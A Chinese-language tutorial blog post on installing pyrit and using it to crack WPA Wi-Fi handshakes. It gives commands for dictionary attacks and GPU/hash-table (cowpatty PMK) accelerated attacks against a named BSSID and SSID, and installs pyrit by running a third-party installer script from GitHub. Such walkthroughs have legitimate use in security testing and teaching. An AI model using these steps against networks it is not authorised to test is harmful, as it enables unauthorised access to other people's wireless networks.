WPA渗透-pyrit：GPU加速_Hash-table
1.pyrit工具介绍
pyrit是一款开源且完全免费的软件，任何人都可以检查，复制或修改它。它在各种平台上编译和执行，包括FreeBSD、MacOS X和Linux作为操作系统以及x86、alpha、arm等处理器。
使用pyrit工具最大的优点，在于它可以使用除CPU之外的GPU运算加速生成彩虹表，本身支持抓包获取四步握手过程，无须使用airodump抓包，如果已经通过ariodump抓取数据，也可以使用pyrit进行读取。
2.安装pyrit
1.修改更新源
vim /etc/apt/sources.list
deb http://mirrors.ustc.edu.cn/debian/ buster main contrib non-free
deb http://mirrors.ustc.edu.cn/debian/ buster-updates main contrib non-free
deb http://mirrors.ustc.edu.cn/debian/ buster-backports main contrib non-free
deb http://mirrors.ustc.edu.cn/debian-security buster/updates main contrib non-free
2.更新安装源
apt-get update && apt-get upgrade
3.下载pyrit
现在网上一大堆安装pyrit的方法都会出现依赖报错
这里直接提供一个方法
pyrit安装包地址:
扫描二维码关注公众号，回复：
16473951 查看本文章
https://github.com/hacker3983/pyrit-installer.git
git clone https://github.com/hacker3983/pyrit-installer.git
cd pyrit-installer
bash install.sh
而且这个打包的安装文件可以检测pyrit所依赖的py版本等，进行自动删改，应该能解决类似所有问题
3.安装scapy到指定目录步骤
1、下载scapy：
wget -v https://github.com/secdev/scapy/archive/v2.3.2.tar.gz
2、解压后进入目录执行安装：
tar -xzvf tar -xzvf scapy-2.3.2.tar.gz
cd scapy-2.3.2
python2 setup.py build
python2 setup.py install
4.渗透wifi
1.分析握手包信息
pyrit -r cap包 analyze
-r：pcap格式的数据包捕获源
analyze：分析数据包捕获文件
pyrit -r wpa-1-01.cap analyze
2.密码字典渗透WiFi
pyrit -r 握手包 -i 字典 -b bssid attack_passthrough
-i：输入的文件名
-b：按BSSID筛选AccessPoint
attack_passthrough：用文件中的密码攻击握手
pyrit -r wpa-1-01.cap -i pwd.txt -b d8:24:bd:79:18:0b attack_passthrough
可以看到这样加速的情况速度还是比较慢的，我们还以用hash-table加速破解速度,关于如何生成hash-table，我之前的文章里有写过，大家可以去查阅
3.hash-table加速渗透wifi，将字典转换成hash-table的形式
genpmk -f pwd.txt -d ./pwdhash -s cisco-1809
-s wifi的SSID
生成hask-table速度比较慢，一般要几小时，但是具有可传播性
pyrit -r 握手包 -i 哈希列表 -b bssid attack_cowpatty
attack_cowpatty：攻击一个来自cowpatty文件的PMK握手
pyrit -r wpa-1-01.cap -i pwdhash -b d8:24:bd:79:18:0b attack_cowpatty
可以看到换成hash-table后破解速度非常的快，达到了四千万每秒的破解速度